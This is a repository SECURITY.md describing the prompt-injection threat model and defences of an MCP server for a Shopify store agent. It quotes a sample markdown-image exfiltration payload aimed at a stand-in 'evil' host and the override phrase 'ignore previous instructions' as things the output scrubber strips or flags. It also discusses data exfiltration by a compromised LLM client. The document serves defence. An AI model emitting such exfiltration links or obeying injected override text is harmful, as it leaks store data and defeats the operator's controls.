Skip to content

Security: 5EBIN/Your.Store

Security

SECURITY.md

Security notes — MCP server

This covers the MCP transport (/mcp) specifically. See the main README's "Production checklist" for the rest of the app (endpoint auth on /chat etc., durable checkpointer, credential resolution).

Threat model

The dominant MCP risk is prompt injection reaching a tool — "the lethal trifecta: untrusted input + access to sensitive data + ability to act." Product titles, descriptions, and customer-facing text in this store ARE untrusted input that flows into the agent's context once a read tool returns them. Everything below is built around treating tool inputs and outputs as untrusted, and keeping the human approval gate as the one thing an agent (compromised or not) cannot route around.

What's in place

  • Output scrubbing (app/mcp_guard.py) — every read result passes through scrub_result before it leaves the server: markdown images/links are stripped (the classic exfiltration payload — ![x](https://evil/?d=…)) and instruction-shaped text ("ignore previous instructions", "system:", …) in free-text fields is flagged and replaced. Numbers, IDs, and structure are never touched — only string values are inspected. Results are also capped (MAX_RESULT_BYTES, enforce_size_cap) so an implausibly large dump can't reach the client even by accident.
  • Session binding (app/mcp_session.py, wired in the auth middleware in app/service.py) — every mcp-session-id FastMCP mints on initialize is bound to the client that authenticated for that request. A later request presenting that session ID from a different client is rejected (403) before it reaches any tool. FastMCP's session IDs are uuid4().hex — cryptographically random via os.urandom, not sequential or guessable (verified against the installed SDK, not assumed).
  • Per-client rate limits + timeouts (app/mcp_ratelimit.py) — a sliding 60-second window per client, with a stricter separate cap on the sensitive reads (product_margins, analytics_report) since an abnormal spike there is the actual exfiltration signal to watch for. Every tool call also runs under a timeout (MCP_TOOL_TIMEOUT_SECONDS, default 30s) so a slow/stuck Shopify call can't pin a session indefinitely.
  • Least-privilege read scoping (app/mcp_auth.py:allowed_tools) — a client only sees and can call the tools it's entitled to (MCP_CLIENT_SCOPES); tools/list itself is filtered per-client, so a client isn't even shown a tool it can't call. A client with no explicit scope entry defaults to read-only, never writes.
  • Audit logging (app/mcp_audit.py) — every tool call logs who, what tool, when, and outcome (ok / forbidden_scope / rate_limited / timeout / error). Argument keys only, never values — the trail is for spotting abnormal access patterns, not for storing store data a second time.
  • Fail-closed on missing identity — if a request somehow reaches the tool-call path without an authenticated client context, it's rejected outright rather than defaulting to "allow."
  • Startup guard — the app refuses to start if MCP_PUBLIC_BIND=1 while auth is still in its permissive default (MCP_DEV_OPEN=1 with no MCP_CLIENT_KEYS). This is a deliberate, explicit signal from the operator, since the app itself cannot reliably detect the actual --host a real uvicorn process was launched with.
  • Preview/execution desync + runner isolation + input-shape validation — covered in the main README's "MCP server → Security notes" (from the prior hardening pass); still in force, still tested.
  • False-success on a real write failure (fixed) — an MCP-approved write could report "approved and executed" even when Shopify itself rejected the mutation (app/pending.py's approval path wasn't checking the write tool's own {"status": "error", ...} result). Also covered in the main README's "MCP server → Security notes"; fixed and test-covered.

What's still an open limitation, honestly

  • Read-side data exfiltration via prompt injection is not fully solved. A compromised LLM client can still request a legitimate read tool it's scoped for and exfiltrate the result through its own output channel — no amount of server-side scrubbing of Shopify's text closes a channel the client itself controls. What's actually in place: the fixed read allowlist (no arbitrary GraphQL), per-client scoping (narrows who can call what), and the audit trail (detection, not prevention). Per-user (not just per-client) authorization and automated anomaly detection on the audit log are real further steps, appropriate once this serves more than one trusted local client — app/tenancy.py (dormant) is the intended hook.
  • Writes still can't execute without human approval, regardless of anything above — even a fully prompt-injected agent can only propose. That property is unchanged and is what actually bounds the worst case.

Before exposing /mcp beyond localhost

  1. MCP_DEV_OPEN=0, real MCP_CLIENT_KEYS, explicit MCP_CLIENT_SCOPES per client (least privilege — don't grant * unless you mean it).
  2. MCP_PUBLIC_BIND=1 (the app refuses to start otherwise, on purpose).
  3. TLS is mandatory. Never terminate /mcp over plain HTTP once it's reachable off this machine — an unauthenticated or unencrypted remote MCP server is the #1 real-world MCP failure mode (a large share of internet-exposed MCP servers surveyed had no auth at all).
  4. Don't boot-load third-party MCP servers into this app's trust context — this server only ever exposes its own vetted tools (avoids tool-poisoning / rug-pull risk from an external server you don't control).
  5. Pin the mcp dependency to a known-good version (requirements.txt pins mcp[cli]==1.28.1, not a floor) — supply-chain compromises of MCP tooling are a real CVE class. Run uvx mcp-scan@latest against this setup as a periodic/CI check.

There aren't any published security advisories